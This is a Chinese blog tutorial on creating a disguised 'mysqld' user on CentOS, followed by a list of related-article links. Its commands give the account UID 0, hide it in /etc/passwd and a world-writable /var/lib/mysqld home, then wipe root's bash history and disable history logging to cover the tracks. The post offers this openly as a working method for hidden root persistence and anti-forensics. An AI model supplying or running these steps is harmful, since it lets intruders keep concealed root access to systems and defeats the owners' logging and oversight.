centos创建mysqld用户隐蔽位置

2024-04-09 05:18

本文主要是介绍centos创建mysqld用户隐蔽位置,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

1、添加普通用户
[root@server ~]# useradd mysqld   //添加一个名为mysqld的用户或使用mysqls
[root@server ~]# passwd mysqld    //修改密码
Changing password for user mysqld.
New UNIX password:                   //在这里输入新密码
Retype new UNIX password:            //再次输入新密码
passwd: all authentication tokens updated successfully

2、创建新的用户目录
mkdir /var/lib/mysqld
chmod 777 /var/lib/mysqld
3、转移用户目录
转移两个关键文件.bash_profile和.bashrc
cp /home/mysqld/.bashrc  /var/lib/mysqld
cp /home/mysqld/.bash_profile   /var/lib/mysqld
4、赋予root权限
方法3):修改/etc/passwd文件,找到如下行,把用户ID修改为0,如下所示:
vi /etc/passwd
mysqld:x:1000:1001::/home/mysqld:/bin/bash
修改为
mysqld:x:0:1001::/var/lib/mysqld:/bin/bash
同时,可以打乱此行所在位置,上移一个或两个位置即可
修改后保存,用mysqld账户登录后,直接获取的就是root帐号的权限。
5、清理战场
使用新用户登录后,用Xftp直接删除/home/mysqld文件夹,用户目录
或使用命令 rm -rf /home/mysqld
删除root帐号操作历史
vi /root/.bash_history
按一下大写的G可以直接到达文件尾,找到刚才的操作记录都删除即可
:wq保存即可

history -c 将当前缓存中的历史记录清除后,退出

 注:             -c      清除历史记录
                     -a      将历史命令缓冲区命令记录到文件中

                     -w      将当前历史命令缓冲区命令记录到文件中

区别:

history -a   将history命令中所能看到的所有命令都追加入.bash_history文件中。
history -w   将未更新在.bash_history文件中的历史命令进行追加。

-------------------------------
禁用当前会话的历史记录(推荐使用)
在登录后执行下列命令,此会话不记录历史命令
export HISTSIZE=0

如果不想记录当前 会话操作的命令的话 可以使用命令
set +o history
但是这个命令有一个坏处, 他自己被记住了...

结束隐藏命令记录set -o history 

set -o history 命令不会被记录到历史中 

这篇关于centos创建mysqld用户隐蔽位置的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/887259

相关文章

数据库oracle用户密码过期查询及解决方案

《数据库oracle用户密码过期查询及解决方案》:本文主要介绍如何处理ORACLE数据库用户密码过期和修改密码期限的问题,包括创建用户、赋予权限、修改密码、解锁用户和设置密码期限,文中通过代码介绍... 目录前言一、创建用户、赋予权限、修改密码、解锁用户和设置期限二、查询用户密码期限和过期后的修改1.查询用

Window Server创建2台服务器的故障转移群集的图文教程

《WindowServer创建2台服务器的故障转移群集的图文教程》本文主要介绍了在WindowsServer系统上创建一个包含两台成员服务器的故障转移群集,文中通过图文示例介绍的非常详细,对大家的... 目录一、 准备条件二、在ServerB安装故障转移群集三、在ServerC安装故障转移群集,操作与Ser

Window Server2016 AD域的创建的方法步骤

《WindowServer2016AD域的创建的方法步骤》本文主要介绍了WindowServer2016AD域的创建的方法步骤,文中通过图文介绍的非常详细,对大家的学习或者工作具有一定的参考学习价... 目录一、准备条件二、在ServerA服务器中常见AD域管理器:三、创建AD域,域地址为“test.ly”

Python在固定文件夹批量创建固定后缀的文件(方法详解)

《Python在固定文件夹批量创建固定后缀的文件(方法详解)》文章讲述了如何使用Python批量创建后缀为.md的文件夹,生成100个,代码中需要修改的路径、前缀和后缀名,并提供了注意事项和代码示例,... 目录1. python需求的任务2. Python代码的实现3. 代码修改的位置4. 运行结果5.

使用IntelliJ IDEA创建简单的Java Web项目完整步骤

《使用IntelliJIDEA创建简单的JavaWeb项目完整步骤》:本文主要介绍如何使用IntelliJIDEA创建一个简单的JavaWeb项目,实现登录、注册和查看用户列表功能,使用Se... 目录前置准备项目功能实现步骤1. 创建项目2. 配置 Tomcat3. 项目文件结构4. 创建数据库和表5.

使用SpringBoot创建一个RESTful API的详细步骤

《使用SpringBoot创建一个RESTfulAPI的详细步骤》使用Java的SpringBoot创建RESTfulAPI可以满足多种开发场景,它提供了快速开发、易于配置、可扩展、可维护的优点,尤... 目录一、创建 Spring Boot 项目二、创建控制器类(Controller Class)三、运行

JAVA中整型数组、字符串数组、整型数和字符串 的创建与转换的方法

《JAVA中整型数组、字符串数组、整型数和字符串的创建与转换的方法》本文介绍了Java中字符串、字符数组和整型数组的创建方法,以及它们之间的转换方法,还详细讲解了字符串中的一些常用方法,如index... 目录一、字符串、字符数组和整型数组的创建1、字符串的创建方法1.1 通过引用字符数组来创建字符串1.2

手把手教你idea中创建一个javaweb(webapp)项目详细图文教程

《手把手教你idea中创建一个javaweb(webapp)项目详细图文教程》:本文主要介绍如何使用IntelliJIDEA创建一个Maven项目,并配置Tomcat服务器进行运行,过程包括创建... 1.启动idea2.创建项目模板点击项目-新建项目-选择maven,显示如下页面输入项目名称,选择

如何用Java结合经纬度位置计算目标点的日出日落时间详解

《如何用Java结合经纬度位置计算目标点的日出日落时间详解》这篇文章主详细讲解了如何基于目标点的经纬度计算日出日落时间,提供了在线API和Java库两种计算方法,并通过实际案例展示了其应用,需要的朋友... 目录前言一、应用示例1、天安门升旗时间2、湖南省日出日落信息二、Java日出日落计算1、在线API2

CentOS系统使用yum命令报错问题及解决

《CentOS系统使用yum命令报错问题及解决》文章主要讲述了在CentOS系统中使用yum命令时遇到的错误,并提供了个人解决方法,希望对大家有所帮助,并鼓励大家支持脚本之家... 目录Centos系统使用yum命令报错找到文件替换源文件为总结CentOS系统使用yum命令报错http://www.cppc